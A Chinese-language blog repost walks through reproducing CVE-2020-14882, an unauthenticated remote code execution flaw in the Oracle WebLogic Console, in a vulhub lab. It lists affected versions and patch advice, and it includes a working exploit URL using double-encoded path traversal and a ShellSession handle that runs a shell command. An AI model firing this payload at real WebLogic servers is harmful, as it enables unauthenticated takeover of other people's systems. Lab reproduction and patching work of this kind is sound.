其他分享
首页 > 其他分享> > Weblogic Console远程代码执行漏洞(CVE-2020-14882)

Weblogic Console远程代码执行漏洞(CVE-2020-14882)

作者:互联网

目录

一 、漏洞描述

二 、影响版本

三 、漏洞利用

环境搭建

漏洞复现

四 、漏洞修复

一 、漏洞描述

WebLogic远程代码执行漏洞(漏洞编号:CVE-2020-14882)的补丁存在绕过风险,远程攻击者可以构造特殊的 HTTP 请求,在未经身份验证的情况下接管 WebLogic Server Console ,并在 WebLogic ServerConsole 执行任意代码。

二 、影响版本

Oracle WeblogicServer 10.3.6.0.0

Oracle WeblogicServer 12.1.3.0.0

Oracle WeblogicServer 12.2.1.3.0

Oracle WeblogicServer 12.2.1.4.0

Oracle WeblogicServer 14.1.1.0.0

三 、漏洞利用

环境搭建

操作系统:Ubuntu 20.04.2 LTS

此处利用vulhub的环境进行复现,开启docker-compose环境:docker-compose up -d

漏洞复现

1. 访问漏洞环境:http://your-ip:7001/console/login/LoginForm.jsp

2. 根据不同需求进行Pyload构造。此处是通过在/tmp目录创建111.txt进行验证:

执行Pyload:

http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch%20/tmp/111.txt%27);%22)

3. 复现成功,效果如下:

四 、漏洞修复

目前 Oracle 官方已发布了最新针对该漏洞的补丁,请受影响用户及时下载补丁程序并安装更新。Oracle 官方补丁需要用户持有正版软件的许可账号,使用该账号登陆 https://support.oracle.com 后,可以下载最新补丁。

临时修补建议

暂时对外关闭后台 /console/console.portal 的访问权限。

 

标签:WeblogicServer,Console,14882,补丁,漏洞,代码执行,Oracle,console,复现
来源: https://blog.csdn.net/weixin_42181573/article/details/117526222